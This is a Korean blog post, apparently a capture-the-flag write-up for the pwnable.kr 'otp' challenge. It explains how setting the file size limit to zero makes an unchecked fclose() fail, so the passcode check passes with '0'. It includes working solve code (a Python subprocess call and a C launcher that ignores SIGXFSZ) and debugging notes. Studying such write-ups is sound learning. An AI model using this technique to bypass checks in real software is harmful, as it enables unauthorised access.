security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] otp

민사민서 2023. 3. 5. 14:41
import subprocess
subprocess.Popen(["/home/otp/otp", "0"])
otp@pwnable:~$ ulimit -f 0
otp@pwnable:~$ python
Python 2.7.12 (default, Mar  1 2021, 11:38:31) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> subprocess.Popen(["./otp", "0"])

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
	char fname[128];
	unsigned long long otp[2];

	if(argc!=2){
		printf("usage : ./otp [passcode]\n");
		return 0;
	}

	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1) exit(-1);

	// 16바이트의 랜덤값 받아온다
	if(read(fd, otp, 16)!=16) exit(-1);
	close(fd);

	// 앞 8바이트를 이름으로 하는 file을 
	sprintf(fname, "/tmp/%llu", otp[0]);
	// /tmp 폴더 아래 생성한다
	FILE* fp = fopen(fname, "w");
	if(fp==NULL){ exit(-1); }
	// 해당 파일에 뒤 8바이트를 쓴다
	fwrite(&otp[1], 8, 1, fp);
	fclose(fp);

	printf("OTP generated.\n");

	unsigned long long passcode=0;
	FILE* fp2 = fopen(fname, "r");
	if(fp2==NULL){ exit(-1); }
	// 해당 파일에 적힌 8바이트를 passcode에 읽어온다
	fread(&passcode, 8, 1, fp2);
	fclose(fp2);
	
	if(strtoul(argv[1], 0, 16) == passcode){
		printf("Congratz!\n");
		system("/bin/cat flag");
	}
	else{
		printf("OTP mismatch\n");
	}

	// unlink는 파일의 연결 계수를 1 줄이는 시스템 호출 
	// 연결 계수를 줄였을 때 연결 계수가 0이면 파일을 삭제 (파일에 한해 remove 명령과 동일)
	unlink(fname);
	return 0;
}

- 굳이 랜덤값 하위 8바이트를 파일에 썼다가 다시 읽어와 passcode에 저장하는 번거로운 과정을 거치네
- 만약 ulimit -f 옵션으로 쉘에 의해 만들어질 수 있는 파일의 최대 크기를 0으로 만들면
- fwrite()에서 파일 값 쓰기에 실패할 것이고, fread() 결과 passcode에는 아무것도 저장 안 될 것
- 인자로 ""(empty string) 혹은 "0"을 건네주면 되겠다 (strtoul은 empty string 0으로 변환)

<시도 1>
minseo@ubuntu:~/Desktop/pwnableKr/Rookiss/otp$ ulimit -f 0
minseo@ubuntu:~/Desktop/pwnableKr/Rookiss/otp$ ./otp 0
파일 크기 제한을 초과함 (core dumped)

<실패 이유>
pwndbg로 어느 부분에서 'file size limit exceeded (core dumped)' 에러 발생하는지 파악 
printf("OTP generated.\n"); 실행되기 전에 프로그램 죽음
후보 1) <main+232> fopen(fname, "w") 에서 파일 생성 실패
후보 2) <main+295> fwrite(&otp[1], 8, 1, fp) 에서 쓰려다가 실패
후보 3) <main+310> fclose(fp) 에서 실패
=> fopen에서 NULL 아닌 파일 스트림 제대로 리턴됨
=> fwrite 결과 rax=1로 1개의 항목이 제대로 버퍼에 쓰였음을 알 수 있음
=> fclose에서 에러 발생 (file size 0인 파일에 내용 쓰려고 해서)
Program received signal SIGXFSZ, File size limit exceeded.
0x00007f71b7e37104 in __GI___libc_write (fd=3, buf=0x2249490, nbytes=8) at ~~


<시도 2 - child process를 만들어 거기서 실행>
otp@pwnable:~$ ulimit -f 0
otp@pwnable:~$ python
>>> import subprocess
>>> subprocess.Popen(["./otp", "0"])
<subprocess.Popen object at 0x7f5dfdd47f10>
>>> OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
// /tmp/otp에 flag 심볼릭링크 만들고, exploit.py 생성하고, ulimit -f 0 적용 후 exploit 해도 됨

 

 

1. fopen(), fread(), fwrite(), fclose()

FILE* fopen(const char* filename, const char* mode)

- 파일 스트림을 생성하고 파일을 오픈한다, 실패 시 NULL 리턴

- filename 에는 파일의 경로+이름 표시, 모드에는 파일의 접근모드(r,w,a 등) + 입출력모드(t,b) 를 함께 표현 (rt, w+t 등)

 

size_t fread(void *buffer, size_t size, size_t count, FILE *stream);

size_t fwrite(const void *buffer, size_t size, size_t count, FILE *stream);

- 인자: 데이터를 저장할 주소, 저장할 크기, 저장할 횟수(항목의 수), 파일포인터

- 읽기에 성공한 전체 항목의 수(count)를 리턴하며, 오류가 발생하거나 count 도달하기 전에 파일 끝이면 count보다 적을 수 있다

- 성공적으로 쓰여진 전체 항목의 수(count)를 리턴하며, 오류가 발생하면 count보다 더 적을 수 있다

 

int fclose(FILE *stream);

- 인자로 지정한 스트림에 해당하는 파일을 닫는다

- 이 때, 그 스트림의 모든 버퍼들은 비워(flush)진다.

   => fwrite(): 아직 파일에 쓰이지 않고 남아있던 버퍼의 내용물은 모두 파일에 쓰이고,

   => fread(): 아직 읽히지 않고 남아있던 버퍼의 내용물은 모두 사라진다.

- 스트림이 성공적으로 닫히면 0 리턴, 아닐경우 EOF 리턴

 

2. 디버깅 환경에서 file size limit 적용하려면

ulimit -f 0 명령은 현재 shell session에만 영향을 주고 pwndbg 등을 통해 디버깅 할 시 영향을 주지 못한다이 경우 setrlimit 함수를 이용해 RLIMIT_FSIZE (Resource LIMIT _ File SIZE)를 0으로 세팅하면 된다

pwndbg> call setrlimit(1, {0, 0})

=> file size limit (ID=1) 을 soft limit / hard limit 모두 0으로 setting 한다

 

3. 왜 fwrite(&otp[1], 8, 1, fp)이 아닌 fclose(fp)에서 에러 발생?

fwrite()에서 건네진 8byte data는 (disk에 있는 파일에 바로 쓰이지 않고) 메모리의 버퍼에 일단 저장된다.
버퍼가 가득 차지 않아 파일에 쓰이지 않고 기다리다가 (explicit하게 fflush나 fclose가 호출되지 않는 한)
fclose(fp)에 의해 버퍼의 내용이 disk에 flush 된다. 

=> 이 과정에서 file size limit 0에 걸리면서 에러 발생!

 

4. 왜 subprocess.Popen() 에서는 되는가?

검증을 위해 otp.c 파일을 일부 수정하여 gcc -o otp otp.c 를 이용해 새로 컴파일 했다

=> /tmp/otp 아래에 파일 생성하도록 함. 파일경로와 fread&fwrite&fclose 리턴값을 출력함. unlink 안하도록 함

otp@pwnable:/tmp/otp$ ./otp 0
Filename: /tmp/otp/11331330859941232396
fwrite return value : 1
fclose return value : 0
OTP generated.
fread return value : 1
fclose return value : 0
OTP mismatch

=> file size 제한 없을 때, 제대로 파일 생성 후 쓰기/읽기 되어 검증 실패

otp@pwnable:/tmp/otp$ ulimit -f 0
otp@pwnable:/tmp/otp$ ./otp 0
Filename: /tmp/otp/14638322515853035793
fwrite return value : 1
File size limit exceeded (core dumped)

=> file size 제한 있을 때, 파일 생성 후 fclose()에서 flush되면서 값 쓰려고 할 때 실패

>>> import subprocess
>>> subprocess.Popen(["./otp", "0"])
<subprocess.Popen object at 0x7f07a95f5f10>
Filename: /tmp/otp/404342992544478500
fwrite return value : 1
fclose return value : -1
OTP generated.
fread return value : 0
fclose return value : 0
Congratz!

=> subprocess.Popen() 사용 시, buffer를 flush 과정에서 문제 발생했지만(fclose() -1 리턴한 것으로 보아) 프로그램은 안 멈춤

=> 즉 file에 아무런 내용도 써지지 않았고 따라서 fread()에서 아무것도 읽어올 수 없음

 

[추론한 이유]

- ./otp 바이너리를 쉘에서 바로 실행할 경우

fclose() 함수가 버퍼의 내용을 파일로 flush하는 과정에서 실패하고, SIGXFSZ 시그널이 리턴되며, program crash

- subprocess.Popen()을 이용해 child process에서 실행할 경우

python 코드를 실행하는 주체인 parent process(현재 쉘)과는 독립적인 child process에서 ./otp 바이너리가 실행된다

이 process는 parent의 file size limit을 이어받기에 fclose() 함수가 실행되는 순간 SIGXFSZ 시그널이 전달되며 종료된다

하지만 parent process에는 이 시그널이 전달되지 않는다 (서로 다른 process이므로)

따라서 child process가 종료되고 parent process에게 에러코드를 전달하면 parent는 child를 정리하고 남은 코드를 이어서 실행

=> subprocess를 하나 만들어 에러 발생 시 안전장치를 하나 마련한 셈?

 

5. SIGXFSZ 시그널을 무시하도록 하는 exploit

시그널?

- 프로세스에 전달되는 소프트웨어 인터럽트

- 운영체제에서 예외적인 상황들을 실행중인 프로그램에 전달하거나 인위적인 신호를 실행중인 프로그램에 전달할 때 사용

- 사용자 인터럽트(Ctlr+C/Z 입력), 프로세스가 발생시킴 등등 이유는 다양

시그널 종류

- 특정한 프로세스에 아래와 같이 시그널을 보낼 수 있다 (kill 명령어, kill 함수)

kill -signal PID
ex) kill -9 1001
#include <sys/types.h>
#include <signal.h>

int kill(pid_t pid, int sig);

=> SIGXFSZ(25번 시그널) 은 file size exceeded signal이다

시그널 핸들러

- 프로세스가 시그널을 받았을 때 처리하는 방식이 정해져있음 (프로세스 종료, 무시, 재시작 등등)

- 대부분의 시그널에 대해 프로세스는 종료하게 된다

- 시그널 핸들러 함수인 signal()을 이용하면 어떤 시그널을 받았을 때 특정 동작을 하도록 정의할 수 있다

- 프로그램 실행 과정중에 특정 시그널 수신이 예상된다면 signal() 함수를 통해서 해당 시그널의 핸들러를 설정해 주거나 무시하도록 설정할 수 있다

- 단, SIGKILL, SIGSTOP은 무시하도록 설정할 수 없음 (커널은 항상 프로세스를 죽일 수 있어야 하므로)

#include <signal.h>
void (*signal(int signum, void (*handler)(int)))(int);

- 첫번째 인자 signum: 핸들링할 시그널 (ex. SIGSEGV, SIGTERM, SIGINT 등등 signal.h 포함 파일에 정의된 매크로)

- 두번째 인자 handler: SIG_DFL (기본 처리), SIG_IGN (무시), (void*)signal_handler (개인 정의 핸들러 함수)

 

그렇다면 코드를 짜보자. SIGXFSZ 시그널을 SIG_IGN(무시)하도록!

#include <stdio.h>
#include <signal.h>
#include <unistd.h>

int main() {
	signal(SIGXFSZ, SIG_IGN);
	char *argv[] = {"/home/otp/otp", "0", NULL};
	execv(argv[0], argv);
}

=> /tmp/otp 폴더 아래 flag 심볼릭 링크 만들고, ulimit 적용 후 하면 잘 된다!!

 

6. int execv( const char *path, char *const argv[])

- path: 실행 파일의 디렉터리 포함 전체 파일명

- argv: 인수 목록

- unistd.h : 헤더

- exec 성공적으로 수행되면 호출 프로그램은 완전히 새로운 프로그램으로 대치되고, 이어 그 프로그램의 처음부터 수행 시작됨

- exec 계열의 함수는 fork()로 child 프로세스를 만든 후 그 프로세스를 새로운 독립적인 프로세스로 만들어주는 역할을 함

- 명령프롬프트에서 실행파일을 실행하는 것과 비슷한 이치

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] dragon  (0) 2023.03.03
pwnable.kr - [Rookiss] alloca  (0) 2023.03.03
pwnable.kr - [Rookiss] simple login  (0) 2023.02.27
pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25